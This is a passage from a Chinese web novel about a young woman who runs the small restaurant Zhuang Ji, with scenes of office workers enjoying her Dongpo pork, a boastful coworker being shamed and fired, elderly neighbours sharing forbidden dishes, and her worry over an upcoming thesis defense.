谭清莹工位就在她旁边，经常看见她吃外卖的时候把不喜欢的食物挑出来。 肥猪肉是出镜率最高的。 何筝真是一丁点肥都不吃，有时候只是瘦肉上带了点肥腻，她也要吐出来。 “可这是庄记做的哎，你也不想尝尝吗？”谭清莹试图引诱她。 何筝想不出来肥肉的美味，摇了摇头：“还是算了吧，你吃吧。” “那好吧。” 轮到她们的时候，绿豆糕还没分完，于是，她们也分得了一份。 最后，两人提着各自的午餐回了办公室。 有同事看到她们，有气无力打招呼：“又去庄记啦？真好，好羡慕你们我也好想去买呜呜呜，可是我还有工作没做完。” 自从被安利后，谭清莹公司也多了很多爱上庄记的人。 “真惨……”谭清莹安抚性拍了拍她的肩膀，说：“你想吃的话可以叫我们帮忙买啊。” 何筝：“是啊。” 同事依旧无精打采：“还是算了吧，不是说现在庄记人变多了么？他们看到你一个人买多份的话应该会想刀了你吧？而且，要是排到你就只剩一份的话，那要怎么办？也太尴尬了……” 这说的也是。 特别是刚刚，就出现了只剩最后一份的情况，还得是何筝不喜欢吃。 不然…… “好吧，那我祝你下次不用加班的时候成功吃到庄记，”谭清莹打开其中一个袋子放到她面前，“庄记的绿豆糕，送你一个，希望能慰藉你因加班受伤的心灵。” 绿豆糕由一个透明小盒子装着，能看到里面的糕体是精致的花朵形状，黄绿黄绿的，是很富有活力的春生的颜色，特别好看。 “好漂亮！”同事感叹，拿了一个：“呜呜呜谢谢你清莹，感觉又活过来了！” 谭清莹和何筝两人回到工位上，吃着各自的午饭。 盖子掀开，东坡肉的样子显得更清晰了。 红得透亮，色如玛瑙，一层肥一层瘦上色均匀，皮肉的切割边还是直楞愣的，火候明显把控得很好，长时间的炖制也没让肉质收缩。 晶莹清透如玉石，软乎晃悠如果冻。 “好好看！”谭清莹忍不住感叹。 她又叫何筝来看。 何筝也有一样的感觉：“是哎，这么好看。” 谭清莹夹了一小块吃起来。 皮薄嫩肉，在唇齿间一下子就化掉了，收汁浓郁，咸甜适中恰到好处，最重要的是，肥肉部分一点都不腻。 口感绵软顺滑，谭清莹还来不及细尝，一块肉就进了胃里。 “唔……太好吃了我的天！”谭清莹又吃了一块，再次感受那肥肉软绵绵的质感，“真的做得太完美了！挑不出任何毛病！” 何筝有点一言难尽地听着谭清莹的赞叹，原谅她，一个对肥肉感到反胃的人实在想象不出来能有多好吃。 “筝筝，要不要试一块？”谭清莹问。 何筝神情有点抗拒：“不了……吧？” “真的不试一下嘛？很香很香的窝。” 何筝沉默。 “你要是觉得一块太多了，那你可以弄一点点下来尝尝。” 何筝纠结了三秒，还是拿起了勺子。 没办法，东坡肉的颜值实在太高了。 何筝挖了点她觉得可以承受的量，放入嘴里，而后眼睛蓦地瞪大。 这这这…… “怎么样？” 何筝喃喃：“原来这才是肥肉的味道么？” 那股熟悉的反胃感并没有如期而至。 肥腻部分轻而易举就化在口腔，让人怀疑是不是真的吃了肥猪肉，有形还似无形，融化成一股更浓厚的香味。 何筝咂咂嘴，满脸期盼：“好好吃！我还能再要点嘛？” 谭清莹一脸“我就知道”的神情，点点头：“你盛一块整的吧。” 果然，没人能逃得过庄记。 挑食的人也不行！ 直到现在，何筝才明白，什么挑食不挑食的，在庄记面前都是不存在的！ 以后不管庄记出什么，都可以无脑入了。 这一道东坡肉依旧吸引了不少同事围了过来。 纷纷讨论着自己以前吃过的东坡肉，他们都说没见过色泽这么地道的。 谭清莹笑，说等他们吃过，会发现味道更地道。 有一人声音插。进来：“什么事那么热闹？” 谭清莹敛起笑容。 又是那个王军，烦人！ 有同事回他：“哦，没啥，就是在讨论东坡肉。” 王军属于那种不管自己懂不懂都要装得很懂的人，因而他什么话题都能装上几句。 这不，又来了。 “哦，东坡肉啊，这玩意做得好与不好的差别可太大了，市面上不管贵的便宜的，几乎都没有正宗的东坡肉。” 他说着，瞟了一眼谭清莹的饭盒，笃定道：“你那个一看就不好吃，应该是那些店家随便做了一道肥猪肉就说是东坡肉。” “我来跟你说说正宗的东坡肉是什么样的吧，昨天，我邻居就买到了一份特别好吃的东坡肉，那叫一个肥而不腻！” 王军此刻回想起来，都觉得有点意犹未尽，早知道就多蹭一块了。 邻居还蛮抠的，统共九块，都不舍得多分他一块。 同事们都不太想搭理他，不过还是有人问了句：“那多少钱一份啊？应该很贵吧？” 王军：“价格么，也还行吧，65一份，有九块呢！” 这个价格，这个数量…… 跟庄记一模一样。 也正因为如此，谭清莹终于给了他一个眼神。 她饶有兴致：“能说说到底有多好吃么？让我们也开开眼啊。” 这吹捧让王军有点找不着北，他清了清嗓子，将这味道吹得世上绝无仅有，还说不止味道，就连外表看上去也是最好看的。 谭清莹听着也觉得差不多了，图穷匕见：“那能说说是在哪家店买的么？” “这个啊，这个我倒是没问，我现在帮你问问吧。”王军掏出手机发信息。 等待回复期间，王军笑：“怎么？你也觉得便宜是吧？” “也是，你少喝两杯奶茶就能买了。” “你神经病吧？” 何筝正想多骂他几句，结果被谭清莹拦住了。 邻居刚好回了消息。 王军一看，念了出来：“庄记饭馆。” 人群霎时安静如鸡。 谭清莹冷笑了一声，好整以暇地盯着他，一字一句道。 “不巧，我这份在你眼里一看就不好吃的东坡肉，刚好是在庄记买的。” 第24章 第24章 这、这怎么可能？ 王军才不信呢。 他满不在乎道：“不是同一个庄记吧？这些餐饮店铺可太多X记X记的了，像陈记、王记啊什么一大堆，撞名几率太大了。” 谭清莹皱眉：“那你问你邻居要个详细地址呗，看看到底是同名还是同一家。” 王军心底隐隐有种不好的预感，但还是故作轻松，笑：“等会儿不会我邻居说在哪，你也说在哪吧？” 何筝翻白眼，没好气道：“你以为人人都是你啊？” “我口中的庄记又不止我一个人在吃，很多同事也都在吃，我总不能笼络所有人骗你吧？” 谭清莹嘴角勾起淡淡的讽意：“还是说，你压根不敢问？” 王军这个人，最受不了激将法。 不敢问？开玩笑，他就没有不敢的事。 王军立马又发了条消息给邻居。 对方很快回复。 王军看着上面的地址跟着读了出来：“朝丰街……” 前三个字一出，四周的氛围开始变得微妙。 王军感觉得到，其他人看他的眼神变得一言难尽、夹杂着些许看好戏。 他硬着头皮把剩下的补全：“六巷16号。” 末尾，他还强笑：“怎么？你的也是这个地址？” “是的呢，”谭清莹耸耸肩：“没办法，溪城还是太小了。” 他前一秒笃定的那份上不得台面的东坡肉，和他后面夸得天花乱坠的东坡肉出自同一家店。 王军的脸顿时涨成了猪肝色，他觉得此时周围的人都在看他的笑话，只能慌慌张张找补： “其实也没什么奇怪的，一家店嘛，厨师都不止一个，水平参差不齐的，你吃的那份跟我吃的那份肯定不是出自同一个人。” 说完后，王军松了口气。 他觉得自己可太聪明了，这种理由都能被他想到。 他就不信，这群人还能证明哪些是哪个厨子做的不成？ 但是，众人的目光并没有因为他的话而收敛，反而更意味深长了。 只有何筝笑了出声。 谭清莹也笑：“你不知道吧，庄记只有一个厨师，那就是老板娘本人，所以根本不存在你说的这种情况。” 没给他喘气的机会。 谭清莹继续道：“忘了说，之前你吐槽过的红油抄手，也是我在庄记买的呢，所以，给我收起你那副高高在上仿佛只有你才懂别人都是傻逼的装逼态度。” “对了，我少不少喝奶茶跟我买不买得起东坡肉没有一点关系，我跟你可不一样，出手抠抠搜搜的，我就算再多喝几杯奶茶我也一样吃得起东坡肉！” 谭清莹似乎是要把这些天受过的气都发泄出来： “还有，能不能不要以为是个女的都喜欢你啊？没有镜子总有尿吧？看不清自己啥样了？谁会喜欢你这种恶心人的垃圾啊？” 何筝翻白眼：“就是，其他人应该也觉蛮晦气的吧，只是有礼貌了点，居然就被你以为是对你有意思。” 这一句句话落下，砸得王军头昏脑涨，脸色也一阵青一阵红，不知道是因为丢脸还是被气的。 他忍了忍，想着反驳的话，正要开口时，他上级办公室的门突然开了：“王军！进来一趟！” 语气冷硬，一看就不是什么好事。 众人看好戏般目送王军进去。 待办公室的门关上，众人才拥去谭清莹那—— “清莹你可太牛了！你这么骂他就不怕他伺机报复么？” “骂得我爽了，我也忍他好久了，真的，上次我回头找其他同事，冷不丁跟他对视了一眼，第二天就听到有谣言说我喜欢他，我真服了，一看就知道是谁传的。” “**也是！有一次我跟他谈工作，之前他发文件过来我都是回的‘收到’，那天我懒，就发了个‘1’，然后他问是不是生气吃醋了，妈的傻逼吧。” …… 大家一起交流，才知道原来这人这么的抽象。 谭清莹咬着绿豆糕，听着八卦。 绿豆糕满满的绿豆清香，冰冰凉凉的，组成糕体的绿豆陷料被炒得很细腻，入口绵密，一抿即化。 中间绿色的圆形花蕊却是抹茶味的，有一点点苦，跟外沿的甜腻口感刚好中和，层次很丰富。 可真好吃啊。 她一定要给多多的反馈！一定要让老板娘拿出来售卖才行！ 谭清莹舔舔唇，又拿起了一块，期间偶尔搭几句话：“我才不怕他呢，他这种人其实怂得很的。” 人群中忽然有人说：“哎，你们看那边办公室的方向！” 众人注意力被转移—— 办公室的门是被锁上了，隔音还挺好的，但窗户的百叶窗没拉上，能清楚地看见，主管把王军骂得狗血淋头。 “这是怎么了？” “谁知道呢，可能工作又出错了吧？因为工作的事他被骂得还少吗？” “也是。” …… 没多久，王军出来。 众人齐刷刷地盯着，目光毫不收敛，气得王军骂了句：“看什么看？！” 众人这才慢悠悠收回了目光，小声地笑着他。 下午，谭清莹还在剪视频，旁边的何筝偷偷靠过来，小声道：“小道消息，据说王军被开了。” 谭清莹神情淡淡，看起来不是很开心。 何筝不太理解：“你怎么不高兴呢莹莹？” 谭清莹叹了口气：“半路开香槟不可取啊。” 何筝懂了，这是怕白高兴呢。 不过很快，此时就有了结果。 下午下班的时候，谭清莹和何筝发现王军正在工位上收拾着东西。 所有属于他的东西都被收好。 只剩一台电脑。 两人对视一眼，在出了办公室后开心得发出鸡叫。 何筝：“我靠我靠真走了！实在是太好了！” 谭清莹：“啊啊啊太爽了，以后上班就不用看见他了！筝筝咱们去吃一顿好的庆祝一下吧！” 何筝：“好啊，去吃什么？要不去庄记吧？” 谭清莹：“可以啊，我就怕等我们去到可能都卖光了。” 何筝：“先去看看嘛，要是什么都没了我们再去别的地方。” 也行。 谭清莹点了点头。 所幸那天她们足够幸运，等轮到她们时，还有她们想吃的菜。 * 开业当天傍晚，梁爷爷踩着队伍刚疏散的点出现在了门店。 他看了看离去的人群：“不会是没了吧？” 旺财跟在他脚边汪汪叫了两声。 梁爷爷觑了它一眼：“幸灾乐祸啥？我吃不到你也没得吃！” 旺财声音瞬间低了下去，委屈地汪了声。 梁爷爷走到窗口：“凝冬丫头啊，那个东坡肉还有不？” “梁爷爷，您来晚了，都卖完了，不过，”庄凝冬话锋一转，再三思忖下，还是说，“您先等一会儿。” 她说完，转身出了后院，在那找到拔着杂草的奶奶。 其实东坡肉还有一份，是因为奶奶说还想吃，她提前留出来的。 她们自己想吃的话，可以以后再做，梁爷爷可不是每顿都来帮衬的。 想到这，庄凝冬去找奶奶，征求她的意见。 奶奶一听，展开笑颜：“我还以为什么大事呢，你梁爷爷他以前可帮了咱不少忙呢，就一碟东坡肉，当然得给。” 奶奶：“做人啊，要懂得知恩图报。” 庄凝冬笑着点点头。 “我这就去，可不能让梁爷爷久等了。” * 外头，李爷爷也走进了店里。 他兴奋得搓手。 等了这么久，可算是等到他老伴回村里了。 不可错失的一人在家的机会，当然要来吃红油抄手了。 他激动地上前：“丫头，给我来一份红油抄手！” 说完，他才注意到一旁站着的老梁。 梁爷爷：“红油抄手？我要是没记错的话，你老伴管你挺严的吧，不是不让你吃辣么？” 李爷爷顿时心慌。 坏了，要被发现了。 对方还是经常跟自己斗嘴的人。 梁爷爷意味深长地哦了声：“你偷偷来吃的！嘿嘿被我抓到了吧，你也有今天。” “你都多大个人了，还准备玩告状这种这么幼稚的事？”李爷爷破罐子破摔，也懒得狡辩了。 “要是能看到你被训的话，告状又怎么了？” “……” 要是真被知道的话，那他可能以后都不能吃辣了。 这对于一个喜欢吃辣的人来说简直要命。 识时务者为俊杰。 李爷爷识相地对他稍稍低了低头：“这样，我送你一条锦鲤，你就当做没看到。” “谁稀罕你那破鱼？不能吃还要细心照料，再说了，鱼我自己就能钓。”梁爷爷不屑。 李爷爷忍了忍：“那你想怎样？” 梁爷爷认真思考，正准备讹他一笔大的时候，庄凝冬端着东坡肉出来了。 “梁爷爷您的东坡肉！慢慢吃。” “哦——”这回轮到李爷爷掌握主动权了：“我要是没记错的话，你老伴也不让你吃肥肉吧？” 梁爷爷自从检查出高血压，饮食就被管得严，哪怕现在血压稳定好久了，家里也不让多吃。 天天清淡饮食，嘴里都淡出个鸟来了。 今早登门拜访的时候，梁爷爷就看到菜单上有东坡肉，恰好梁奶奶晚上又不在家吃，他当然得抓住机会。 现在轮到他被抓住把柄，梁爷爷心虚了一瞬， 李爷爷处于劣势的情况一下子平衡了点。 两方都各自持有对方的把柄，于是他们达成约定：互相帮对方保守秘密。 “李爷爷？你想吃点什么？”庄凝冬问。 刚刚她在后院没听清。 “红油抄手，还有不？” 今天邻里街坊送来的食材多，倒是还没用完。 “有是有，不过……”庄凝冬顿了下，“馅料得重新剁，没那么快好，可能要多等一会儿。” “好说，小事而已，那我先去那边等着了啊。” “好的。” 李爷爷坐到了梁爷爷对面。 梁爷爷面前摆着那碟东坡肉，色泽红亮，外形精致，被夹起来时晃晃荡荡的，肉眼可见的绵软，叫人止不住去想象到底是怎样一副滑腻松软的口感。 李爷爷不着痕迹地咽了口口水，不动声色地端起水杯喝了口茶。 茶香清幽，水质澄明，浮着薄且白的花瓣，入口是雅致的茉莉香。 梁爷爷沉浸在喷香的东坡肉里，没注意李爷爷一直盯着他的目光。 那剔透的软肉，不仅味道足，还酥而不烂，香软不腻口，和着一大口疏松的米饭，得劲极了！ “真香！” 隔了许久，舌尖再一次尝到肉香的那一刻，梁爷爷瞬间觉得活过来了。 还是这么好吃的肉！ 比家里自己做的要好吃一百倍！ 李爷爷又给自己倒了一杯茶水。 茶本来就有解腻消食的功效，加上近在眼前的美味和就萦绕在鼻尖的肉香。 都还没喝几杯呢，李爷爷就觉得饿得不行了。 肚子适时地咕噜了几声。 李爷爷终于忍不住搁下茶杯：“我说老梁，能不能分我一块？我快要饿疯了。” “得了，你就再等等，凝冬丫头应该快做好了，就那么一会儿，又饿不坏你。” 梁爷爷懒得再搭理他。 李爷爷被馋的：“这样，你现在分我一块，我等会儿也分你一只抄手，你吃过丫头做的抄手没？那味道真叫一个绝，你不亏的。” 自然是尝过。 梁爷爷回想着那股味道，好像有点想吃了。 不过…… “什么不亏？！”梁爷爷吹胡子瞪眼，计较道：“一只抄手可比一块肉小，一换一我可太亏了。” 李爷爷：“……” 梁爷爷讨价还价：“三只抄手换一块肉。” 李爷爷：“你狮子大开口哇！老不要脸！” 抄手虽然比东坡肉小，但也没小到要用三只来换。 两方对峙下，最终提出了各一半。 李爷爷立马去拿了只干净的碗来。 九块东坡肉，多出来的那块怎么分呢？ 当然是从中间截断啦。 李爷爷紧紧盯着：“哎歪了歪了！往左一点。” 梁爷爷往左了点。 李爷爷：“太过了，再回去一丢丢。” “……” 梁爷爷无语：“那你来。” 李爷爷拿起筷子，然而这次却轮到梁爷爷叫唤了。 刚好庄凝冬端着红油抄手过来：“李爷爷，您的红油抄手来啦，慢点吃。” 梁爷爷瞅着，顿时有了个主意。 “丫头，你来得正好。”梁爷爷朝她招招手：“我跟你李爷爷正在分这块东坡肉，但是都不服对方，这件事就交给你来做吧，梁爷爷相信你一定会公平对待的。” 李爷爷：“啊对！由你来，李爷爷我就放心咯。” “……” 就一块肉，谁多一点少一点怎么需要精确到这种地步。 庄凝冬既觉疑惑又被他们的幼稚逗到，有点哭笑不得，不过还是应下。 她将筷子放到东坡肉中间：“这里可以吗？” 李爷爷：“行。” 梁爷爷：“没问题。” 两人又在庄凝冬的见证下，把红油抄手分了。 这才消停。 李爷爷如愿以偿吃到诱人的东坡肉。 又香又嫩。 他不受控制地闭上眼睛感受。 口腔里一口肥嫩的肉，就像含了一大抔雪，一下子就化掉了。 “真好吃啊……那丫头真争气，什么都做得那么好。” “可不是嘛，那可是老庄的孙女！能不优秀嘛？” 梁爷爷吃着吃着，拎着茶杯环顾了一下四周，不自觉想起以前在这跟老友把酒言欢的日子。 “想老庄了。” 李爷爷拿起茶杯碰了碰他的，以茶代酒：“想来他在那边应该也过得挺好的，这不，保佑着店里的生意呢。” …… 两人吃饱饭，又在店里坐了一会儿才起身离开。 分别前，两人异口同声地叮嘱对方记得保守秘密。 竟然还想到一块去了。 “……” * 夜幕降临，银月高悬，天边几点疏星。 雕花窗户旁，亮着一盏橘色台灯，庄凝冬坐在桌子旁，算着账。 身旁落下一道人影，庄凝冬侧头：“奶奶？你怎么还不睡？” 奶奶端着一个洁白的瓷碗坐下，里头装着一些草药，草药被捣过，叶子呈现出一种深深的墨绿色，碗壁被草药汁液带出几道葱绿的痕迹。 空气中一股清凉的草药味。 庄凝冬疑惑：“这是？” “现在店里客人多了，看你忙碌了一整天也没怎么休息，这样下去肯定不行，身体会累坏的，我又帮不上什么忙，就想着给你整点草药敷敷，免得以后落下什么病根。” 奶奶拉过庄凝冬的手，拿起小勺子，舀了点草药到她的手腕处仔细铺好。 草药刚接触皮肤的那一刻冰冰凉凉的，庄凝冬心里却暖暖的。 她轻声问：“草药什么时候买的？” “就今早跟老陈出门的时候，以前我就经常在那个人那里买草药给你爷爷包，效果蛮好的。” 奶奶扯过纱布，替她包好：“等明天拆开就好了。” 一只手包完，还有另一只。 庄凝冬换了个方向。 她享受着这股清凉的舒适，拿过手机去看顾客群。 新的那个顾客群也已经有一百多个人了。 群里除了偶尔有群友邀请朋友进来的系统消息外，大多数是群友在讨论食物的话。 清一色的好评。 而早就满人的第一个顾客群，里面也是好评如潮。 翻到时间再前一点的记录，有人拍了照片发到群里，描述着是何等的美味，结果差点被打。 原因是大部分人都没能吃上。 有一小部分是今天没空来，所以没能吃上，而有一部是来了却依旧没买到的人，他们就“安慰”对方说，吃没吃上跟来不来没关系，因为来了也不一定能吃上。 这群网友说话有点搞笑，庄凝冬看得眉眼弯弯。 她觉得有趣，便也拿过去给奶奶看，还附带解说。 奶奶没带老花镜，有点看不清，遂眯着眼离远了点。 她虽然不懂年轻人那些网络用语，但也识最基本的字，能看懂那些夸她孙女的话。 顿时心情一片大好，跟着弯起嘴角乐呵。 在看到有人说买不到，问能不能加大产量的时候，奶奶有些担忧看向庄凝冬。 “咱们要量力而行，可不能盲目加量啊，身体最重要。” “放心吧奶奶，我心里有数。” 庄凝冬笑着拍拍她的手背，安抚道。 说到这个量，现在一顿卖的是三十份番茄土豆烩饭，二十份紫菜炒饭，三十份红油抄手，十只广式荷香鸡，十五份东坡肉。 除了搞活动优惠外，每顿正常的收入能有四千多。 其中番茄土豆烩饭的制作最为简单，只需要提前备好菜再炖煮就行了，所以可以多做点。 至于其他的，需要看情况适当增量。 就目前来说，所有的量加起来还在庄凝冬的可承受范围。 庄凝冬把如今店铺的营业状况大概跟奶奶说了下，笑得开心：“奶奶，照这样下去，咱们很快就能把钱还清的了。” 奶奶也跟着高兴，“也别等凑够了再还，该还点就先还点，现在店里生意好大家都有目共睹，免得一些人说咱们赚了钱不舍得还，叫人说闲话。” “何况一直欠着别人也不好。” 庄凝冬点点头：“嗯，我知道了。” 庄凝冬想起今天到来的顾客，有挺多想留下来吃却都因为满座而不得不打包离开的情况。 目前店里是有六张四人桌，但其实屋子里的空间还宽敞得很，还能摆放更多桌椅。 以前客人没那么多，六张四人桌也绰绰有余了，不过现在…… 有点不够用了。 于是，庄凝冬跟奶奶商量道：“奶奶，我打算给咱们店里多加几张桌椅，您觉得怎么样？” “店里的事啊，你全权做主就好，”奶奶笑，“奶奶又不懂开店的事。” 说是这样说，但她还是认真想了想庄凝冬的提议：“多加几张桌椅也没什么不好的，坐不满的时候兴许还能给排队的人坐着休息一会儿。” “嗯。” 庄凝冬应下：“那我到时候看看买什么样的桌子，连带之前的旧桌椅一起换了。” “好，现在时间也不早了，还是改天再看吧。” 敷完草药，奶奶把东西收拾好，又叮嘱了几句，才起身离开。 “早点休息。” 庄凝冬起身跟她回房间，帮她关灯。 “好，晚安。” * 晚上，丁固拖着疲惫的身体回到家。 他随意把钥匙扔到桌子上，整个人往沙发一摊，一动也不想动。 今天周六，上午要上班也就算了，下午还搞什么团建，直到刚刚才结束。 简直比工作还要累。 丁固也不急着去洗澡，他拿出手机刷了几个视频，正要退出时，才发现“我的消息”那里多了个红点，点开—— 【亲爱的‘能不能不上班’，恭喜！您在活动“链接”中抽中奖品[价值50元一份的庄记专属券]，请在规定期限使用哦！逾期将视为主动放弃领奖！】 丁固……？？ 什么玩意儿，中奖了？ 第25章 第25章 丁固懵了一瞬，而后立马坐直身子，点开了附带的链接。 一看，这才想起来自己是有参加过这么一个抽奖活动。 他一个中奖绝缘体，当时也就觉得好玩才随手点了个关注评论了一下，没想到这就中奖了？！ 丁固想着，又点开了那个小主播的页面，果不其然，他的动态中多出了一条系统自动发的关于中奖名单的动态。 价值50元的券。 能折现么？ 丁固想着，点开了奖品明细，这才发现不能折现。 得去到那个店铺消费了，并上传证据，主播才会给自己报销。 啊这？还挺麻烦的。 也就50元，这庄记也不知道在哪，要是要坐飞机坐高铁啥的才能去到，那岂不是得不偿失？ 丁固腹诽着，都已经决定好不去了，乍一看，看到了庄记的地址： 溪城朝丰街六巷16号。 溪城？？这么巧？ 他也是溪城的。 不过，一看地图，他在城西，庄记在城东。 要不要去呢？ 丁固纠结着，决定先不急，反正这个奖的期限有一周呢。 * 第二天，到店的人群依旧热闹喧嚣。 “老板娘麻烦来一份红油抄手！” “我要半只荷香鸡！” “来两份东坡肉吧，什么没有了？？怎么那么快没啊？受不了老板娘能不能加大产量？！” …… 庄凝冬在后厨一边忙碌着一边应着声，直到人群中有人说了句：“哎？群满人了加不了了？老板娘能不能再新建个群啊？！这个群满了。” 又满了？这么快？ 庄凝冬擦干手拿起手机一看，才200人，哪里满了？ 她疑惑着，也是这会经顾客提醒才知道，原来群里满两百人之后就没法通过扫码直接添加了。 但她总不能现在又新创一个，等空闲了继续打印出来，以这样的速度下去的话，恐怕再多的群都不管用。 可是又该以什么方式能让更多的顾客准时快捷地了解店铺的状况呢？ “哎嘿，我好像刚好是最后一个扫码进去的，真爽啊！” 庄凝冬还在思考着的时候，听见人群中又有人嘚瑟。 她虽然暂时还没想出更好的解决办法，但有个法子能先稳住目前的状态： “不好意思啊大家，你们看，我现在还在忙呢，也没空弄这些，这样你们看行不？群里其实还没满人，你们还没来得及进群的，可以让已经在群里面的顾客邀请你们。” 老板娘人好，也确实在忙，众人看在眼里，自然也不继续因为这件小事再说什么了。 加群而已，又不是什么大事。 他们还是分得清轻重缓急的，于是纷纷回应道： “好，老板娘您先忙。” “没问题，这种小事我们先自己解决。” …… 说完后，他们又想起老板娘的话。 该上哪去找已经在群里的顾客呢？ 众人思索着，也不知道是谁先抬头看向刚刚人群中唯一嘚瑟的那个人。 当那人美滋滋地拿起自己打包的食物准备离去时，转身才发现自己已经被包围了。 面前一堵密不透风的人墙，那人身陷其中就像一只肥美的小羊羔掉进了凶残的狼窝。 “……” 小羊羔瑟瑟发抖：“你们想干嘛？你们不要过来啊啊啊！！！” “也没什么，你不要这么紧张。” “我们只是希望你能邀请我们进行一些多人活动。” 小羊羔抖得更厉害了，不，不会是什么非。法活动吧？ “我，我可是守法公民，是正经人！”小羊羔强调。 有人蹙眉疑惑：“我们也是正经人。” “就是，我们只是想让你拉我们进庄记的顾客群，你想哪去了？” “……” “那你们直说不就好了。”小羊羔松了口气，真是的，说那么弯弯绕绕干嘛？ 小羊羔：“来来来一个个都排好队来加，我都拉你们进去。” 于是，店里又出现了一条新的队伍…… 中午饭后，庄凝冬收拾完卫生就趴在收银台上浏览桌椅。 腰脊蓦地被轻拍了下，耳后落下一道苍老却温柔的声音。 “年纪轻轻，不好好坐着，小心老了脊椎变形就不好看咯。” 庄凝冬回头，瞬间坐直了，乖巧地喊了声：“奶奶。” 刚刚被浅批了一下下，庄凝冬有点心虚，便凑过去卖乖：“奶奶，我看上了这套桌椅，您觉得怎么样？” 奶奶看了眼：“我孙女的眼光自然是好的。” 既然这样，那她就下单啦。 庄凝冬成功付款。 奶奶又问：“那些旧桌椅你打算怎么处置？” 旧的反正也用不上了，不如尽可能地发挥它们最后的用处。 “我准备卖给回收旧物的，这样还能回一点点血。” 说完后，庄凝冬眼巴巴地看着奶奶，似乎在询问她的意见。 奶奶：“或许也可以赠给有需要的人家？” 这一块区域居民楼房老旧，上了年份，有些外墙体甚至斑驳脱落。 不止外观如此，内里也一样，处处是被时间腐蚀的痕迹。 兴许还真有人家用得上这些旧桌椅。 这个方法庄凝冬不是没想过，只不过他们的桌椅也有好些年了，很难说就比别人的好。 庄凝冬把自己心里的想法说了出来，奶奶听后点点头：“也是，是我考虑得不够周到了。” 想起别的事，奶奶忧心道：“对了，依我看，店里不如招个人帮忙吧？天天这样下去，身体早晚得吃不消。” 庄凝冬其实真的觉得还好，不过她不想奶奶担心，便先在口头应下，打算日后再找。 锁好门，庄凝冬扶着奶奶回楼上休息，她也正要躺下的时候，手机突然进来了一条消息—— [@所有人 关于万宁大学学位论文答辩的通知： 一、答辩时间：5月27日上午九点 二、参加答辩学员需要准备……] 庄凝冬反复将这条通知看了三遍才后知后觉反应过来，这似乎跟她有关。 可是，论文是什么东西？答辩又是什么东西？ 庄凝冬一头雾水，迷茫得跟刚来到这个世界那般。 这也不怪她。 意料之外的一次穿越，她脑中只有跟原主有关的一些人际关系的记忆，涉及到专业知识的，一点都没有。 就她当初穿过来的时候，手机都是摸索着才会用的。 不过这个世界方便，有什么不懂的，在网上搜一搜就能明白。 很快，庄凝冬就搞懂了论文答辩，要做PPT，要论述，要接受老师的提问…… 一系列事情烦着呢。 庄凝冬不禁觉得头大，这论文是原主写的，她完全看不懂呀，该怎么准备答辩？！ 了解到答辩的重要性，以及答辩不过带来的严重后果后，庄凝冬整个人都有点无措了，就连以前做的菜不符合师父口味也没这么愁过。 距离开始答辩的时间还有一个月左右。 看来是得招个人了。 不然每天这么忙，都没时间准备答辩了。 庄凝冬又在网上搜了招人的相关事宜，自己对比着其他同行，写了一则招聘信息发布到网上。 * 傍晚时分，市中心商场。 于妍花起钱来毫不心疼，转眼又不看价钱就刷卡买下了一条名牌丝巾。 面对好友羡慕的目光，她解释：“给我妈买的，到时候我爸报销，不是花我的钱。” 什么她爸的钱她的钱，一家人说什么两家话。 好友已经艳羡得眼泪都从嘴巴流出来了，到底什么样的投胎姿势能生在这样的家庭里？ 眼看着逛得差不多了，好友问要去哪里吃饭。 “我爸刚在家族群说今晚不回家吃饭了，又剩我妈一人在家，我想回去陪陪她。”于妍说：“抱歉啊月月，今晚要鸽你了。” “啊？” 月月有点失望。 “你叫个朋友出来陪你，今天的晚餐我报销了。”于妍大方道。 月月脸色瞬间多云转晴：“啊啊啊谢谢你妍妍！我就知道你最好了！” 两人分别后，于妍去了停车场，坐上她那辆冰莓粉保时捷时，刚好收到助理的消息。 说是有个女生去了庄记，问要不要帮忙带吃的？ 也许是觉得白花于妍的钱觉得不好意思，所以想通过别的方式弥补。 原本于妍在论坛吃完庄记那个瓜后就想去尝尝的，不过她既发了话：只要一周内到庄记消费的都可以找她报销，那想来这段时间一定有很多溪大的学生到店。 她懒得跟他们争，便想着过段时间再去，只是没想到，会有人帮买。 既然这样，又何必拒绝。 于妍问：“她还在店里么？” 助理说：“在，她说还在排着队，估摸着等排到她的时候还有挺多菜的，她问你想要什么？” 于妍：“菜单我看看。” 助理发来一张图片。 说实话，里面所有菜的价格加起来都不如于妍在外面吃一道菜的价格。 要不是顾及今晚家里只有她跟她妈妈，她应该会全都点一遍。 于妍想了想，报了菜名：“要份紫菜炒饭，红油抄手和半只荷香**。” 吩咐完毕，于妍转头给她妈妈打了个电话，神神秘秘地说今晚不用煮饭了。 回到家，于妍拿起新买的丝巾在于母面前比划着，说这个颜色很衬她，又显年轻，三言两语就把于母哄得高高兴兴。 “少贫了，饿了没？也该吃饭了，对了，今晚吃什么啊？” 说起来，于母恍惚才想起刚刚于妍回来的时候手里好像只拿了丝巾，哪有拿吃的？ 此时，门铃响，于妍过去开门。 门口站着助理，于妍从他手里接过袋子，朝于母笑着晃了晃：“这不就来了吗？” “又趁你爸不在，吃路边摊？”于母说。 于父这人对吃的喝的有点讲究，自然而然也不怎么允许于妍吃路边那些垃圾食品，认为不卫生不健康。 也不怪于母这么说，于妍手里的那代东西，从外观上来看，就是很普通的透明袋子和盒子。 跟普通路边摊毫无差别。 于妍：“什么路边摊……这是饭馆里的东西。” 见她维护得很，于母一下子也来了兴致：“很好吃？” 于妍一噎：“我没吃过，不过我学校的人都说好吃。” 于母笑着跟她落座到餐桌，跟她一起把袋子打开：“他们也都吃过星级酒店？” 于母也没别的意思，只是有时候，有钱和没钱确实容易出现一些认知上的偏差，有钱的话能尝试的选择还是多一些的。 于妍不甚在意：“这我怎么知道，咱们自己来吃一下不就知道好不好吃了吗？” 于母笑着应下：“是是是。” 全部盖子都打开，于妍才发现，点的红油抄手不见了，反而多了一碗东坡肉。 “咦？怎么回事？是拿错了吗？” 恰好助理打了电话过来，说那个女生给错了一份菜品，她自己买的是东坡肉，不小心拿错了，拿成了抄手。 果不其然。 这点小事，于妍也没计较，刚要挂电话就听到助理说那个女生又退了多余的钱回来。 东坡肉比红油抄手贵，她既错拿了便宜的红油抄手，就应该把多出的钱退回去。 于妍愣了瞬，像这种事要是不说，她也不会意识到。 呜呜呜，女孩子真是太实诚太有礼貌了。 她决定挑个时间去请那个女生吃饭。 挂了电话，于妍重新看着那份东坡肉。 她和她妈妈平时都注意身材管理，像东坡肉这种油腻的菜从来不碰，所以她才没点。 “那这份东坡肉……” 于妍和于母相视一笑，心照不宣地点点头。 拿错的东坡肉，就留着等她爸回来吃吧。 